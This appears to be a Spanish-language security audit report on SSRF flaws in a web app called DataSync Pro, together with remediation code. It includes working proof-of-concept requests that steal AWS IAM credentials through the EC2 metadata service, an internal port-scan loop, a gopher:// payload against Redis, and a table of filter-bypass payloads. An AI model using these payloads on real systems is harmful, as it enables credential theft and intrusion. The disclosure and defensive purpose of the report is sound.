🔐

CULTIVA IA — Seguridad

Informe de Auditoria de Seguridad Web

DataSync Pro
Fecha de emision: 16 de junio de 2026
Ref: SSRF-2026-0047 | Auditor: Equipo Red Team CULTIVA
Riesgo Global
CRITICO
Vulnerabilidad SSRF confirmada en /api/v2/preview-link
con acceso demostrado a credenciales IAM de AWS via metadatos de instancia EC2
CVSS 9.8

Resumen ejecutivo

2
Critico
3
Alto
4
Medio
Superficie de ataque
Endpoints con entrada URL 5 encontrados
Con validacion implementada 1 de 5
IMDSv2 habilitado 0 de 8 instancias
Impacto potencial
🔑
IAM Credentials
Confirmado
🏢
Red interna
10.0.1.0/24
🗄️
Bases de datos
Alcanzables
📦
S3 privado
Con IAM key
👥
Datos clientes
En riesgo
Escalado
Lateral

Hallazgos — Vulnerabilidades identificadas

SSRF-001 SSRF No-ciego — Acceso a metadatos AWS IMDSv1 Critico CVSS 9.8

El endpoint /api/v2/preview-link acepta cualquier URL sin validacion y retorna el contenido de la respuesta al atacante. Se ha confirmado acceso al servicio de metadatos de EC2 (IMDSv1) con extraccion exitosa de credenciales IAM temporales del rol datasync-prod-role.

Prueba de concepto (PoC)

# Paso 1: Verificar acceso al servicio de metadatos $ curl -s -X POST https://app.datasyncpro.io/api/v2/preview-link \ -H "Authorization: Bearer <token_valido>" \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/"}' # Respuesta del servidor (SSRF confirmado): { "title": "EC2 Metadata", "content": "ami-id\nami-launch-index\nhostname\niam/\ninstance-id\nlocal-ipv4\n..." } # Paso 2: Extraer credenciales IAM $ curl -s -X POST https://app.datasyncpro.io/api/v2/preview-link \ -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/datasync-prod-role"}' # Credenciales IAM expuestas: { "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA4J7KL2MN...", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...", "Token": "IQoJb3JpZ2luX2VjE...", "Expiration": "2026-06-16T18:00:00Z" }

Con estas credenciales un atacante puede autenticarse en AWS y acceder a los buckets S3 de produccion, ejecutar acciones en EC2/RDS, modificar roles IAM y potencialmente comprometer toda la infraestructura.

SSRF-002 Acceso a servicios internos — Redis y bases de datos Critico CVSS 9.1

Mediante escaneo de la red interna 10.0.1.0/24 se han identificado y alcanzado Redis (10.0.1.12:6379), PostgreSQL (10.0.1.20:5432) y el panel admin de microservicios (10.0.1.5:8080) sin autenticacion desde el exterior.

# Escaneo de hosts internos (diferencia de tiempo de respuesta) $ for ip in $(seq 1 30); do curl -s --max-time 2 -X POST .../preview-link \ -d "{\"url\":\"http://10.0.1.$ip:6379\"}" | grep -q "PONG|ERR" && echo "VIVO: 10.0.1.$ip:6379" done VIVO: 10.0.1.12:6379 # Redis sin auth VIVO: 10.0.1.20:5432 # PostgreSQL VIVO: 10.0.1.5:8080 # Panel admin microservicio sync # Lectura de clave Redis via gopher:// (protocolo smuggling) {"url": "gopher://10.0.1.12:6379/_*1%0d%0a$4%0d%0aKEYS%0d%0a*%0d%0a"} # Devuelve: session:user:4891, cache:shopify:orders:*, ...
SSRF-003 Bypass de filtros — Obfuscacion decimal e IPv6 Alto CVSS 8.1

El filtro de lista negra implementado es eludible mediante representaciones alternativas de 127.0.0.1. Se identificaron 6 tecnicas de bypass exitosas.

Payloads de bypass confirmados

Payload Tecnica Filtro Actual Resultado
http://127.0.0.1/ IP directa BLOQUEADO N/A
http://2130706433/ Decimal PERMITIDO EXPLOTABLE
http://0x7f000001/ Hexadecimal PERMITIDO EXPLOTABLE
http://[::1]/ IPv6 loopback PERMITIDO EXPLOTABLE
http://127.1/ Forma corta PERMITIDO EXPLOTABLE
http://evil.com@127.0.0.1/ Username URL PERMITIDO EXPLOTABLE
SSRF-004 SSRF Ciego via Webhook — Confirmacion por timing Alto CVSS 7.5

El endpoint de configuracion de webhooks (/api/v1/integrations/webhook) no retorna la respuesta pero confirma SSRF por diferencias de tiempo de respuesta, permitiendo mapeo de red interna.

# Puerto abierto (respuesta rapida ~120ms) POST /api/v1/integrations/webhook {"url": "http://10.0.1.12:6379", "event": "sync"} Response: 200 OK — tiempo: 124ms # Puerto cerrado (timeout ~3000ms) POST /api/v1/integrations/webhook {"url": "http://10.0.1.12:9999", "event": "sync"} Response: 200 OK — tiempo: 3021ms # Diferencia de ~2900ms confirma SSRF ciego con escaneo de puertos
SSRF-005 IMDSv1 activo en 8 instancias EC2 de produccion Medio CVSS 6.5

Todas las instancias EC2 del entorno de produccion tienen IMDSv1 habilitado, que no requiere token de sesion previo. IMDSv2 (que protege contra SSRF al requerir un PUT previo) no esta configurado en ninguna instancia.

# Verificacion AWS CLI — todas las instancias en IMDSv1 $ aws ec2 describe-instances --query \ "Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]" \ --output table i-0a1b2c3d4e | optional # IMDSv1 activo — VULNERABLE i-0f9e8d7c6b | optional # IMDSv1 activo — VULNERABLE i-05c4d3e2f1 | optional # IMDSv1 activo — VULNERABLE # ... (8 instancias total)

Remediacion — Codigo de mitigacion

Validacion de URLs — Python (reemplaza axios sin validacion)
🔗 ssrf_prevention.py — Implementar en DataSync Pro (Node.js llama a este microservicio Python)
import ipaddress import socket from urllib.parse import urlparse from typing import Optional # Redes bloqueadas — privadas, loopback, link-local (metadatos cloud) BLOCKED_NETWORKS = [ ipaddress.ip_network('10.0.0.0/8'), # Privada clase A ipaddress.ip_network('172.16.0.0/12'), # Privada clase B ipaddress.ip_network('192.168.0.0/16'), # Privada clase C ipaddress.ip_network('127.0.0.0/8'), # Loopback IPv4 ipaddress.ip_network('169.254.0.0/16'), # Link-local (AWS/Azure metadata!) ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT ipaddress.ip_network('::1/128'), # IPv6 loopback ipaddress.ip_network('fc00::/7'), # IPv6 ULA privada ipaddress.ip_network('fe80::/10'), # IPv6 link-local ] # Solo esquemas permitidos — bloquea gopher://, file://, dict:// ALLOWED_SCHEMES = {'http', 'https'} def validate_url(url: str) -> bool: """ Valida que una URL proporcionada por el usuario sea segura para fetch. Protege contra: SSRF directo, bypass decimal/hex/IPv6, protocol smuggling (gopher), acceso a metadatos cloud. Raises ValueError si la URL es peligrosa. """ parsed = urlparse(url) # 1. Allowlist de esquemas if parsed.scheme not in ALLOWED_SCHEMES: raise ValueError(f"Esquema no permitido: {parsed.scheme}") # 2. Verificar hostname presente hostname = parsed.hostname if not hostname: raise ValueError("URL sin hostname") # 3. Resolver DNS y comprobar IP resultante try: resolved = socket.getaddrinfo(hostname, parsed.port or 443) except socket.gaierror: raise ValueError(f"No se puede resolver: {hostname}") for family, type_, proto, canonname, sockaddr in resolved: ip = ipaddress.ip_address(sockaddr[0]) for network in BLOCKED_NETWORKS: if ip in network: raise ValueError( f"Bloqueado: {hostname} resuelve a IP privada {ip}" ) return True # Uso en el endpoint de preview-link: def safe_preview(url: str) -> Optional[dict]: try: validate_url(url) except ValueError as e: return {"error": "URL no permitida", "code": 403} # fetch seguro solo si pasa la validacion return do_fetch(url, timeout=5, max_size=512_000)

Plan de remediacion priorizado

Acciones inmediatas (24-48h)
1

Deshabilitar el endpoint temporalmente

Bloquear /api/v2/preview-link via WAF hasta que se despliegue la validacion. Impacto: feature de preview desactivada.

2

Rotar credenciales IAM expuestas

Invalidar el rol datasync-prod-role y todas sus claves de acceso. Auditar CloudTrail de las ultimas 72h.

3

Habilitar IMDSv2 en todas las instancias

Ejecutar el comando AWS CLI en las 8 instancias EC2. Tiempo estimado: 15 minutos.

Acciones a corto plazo (1-2 semanas)
4

Implementar validador de URLs (ssrf_prevention.py)

Desplegar el codigo de validacion en todos los endpoints que aceptan URLs. Incluir en pipeline CI/CD.

5

Microservicio fetcher aislado

Mover toda la logica de fetch a un microservicio con politica de red que solo permite trafico saliente a Internet, no a red interna.

6

Redis con autenticacion + TLS

Habilitar AUTH en Redis (10.0.1.12) y restringir acceso por Security Group solo a los servidores de aplicacion.

Cronograma de remediacion

🚨
INMEDIATO — Bloquear endpoint + Rotar IAM
WAF rule + aws iam create-access-key (nuevo) + deactivate old key + CloudTrail audit
Dia 0-1
🔒
CRITICO — IMDSv2 en todas las instancias
aws ec2 modify-instance-metadata-options --http-tokens required (x8 instancias)
Dia 1-2
🛡️
ALTO — Desplegar validacion de URLs
Integrar ssrf_prevention.py + tests unitarios + deploy + reabrir endpoint
Dia 3-7
🏗️
MEDIO — Segmentacion de red + fetcher aislado
Security Groups + VPC nacl + microservicio fetcher con network policy restrictiva
Dia 7-14
CIERRE — Re-test y certificacion
Auditoria de verificacion: repetir todos los PoC, confirmar que no son reproducibles
Dia 15

Tecnologias / Ambito

SSRF AWS EC2 IMDSv1 → IMDSv2 Node.js Python Redis IAM credentials DNS rebinding Protocol smuggling gopher:// Red interna 10.0.1.0/24 OWASP A10 CVSS 9.8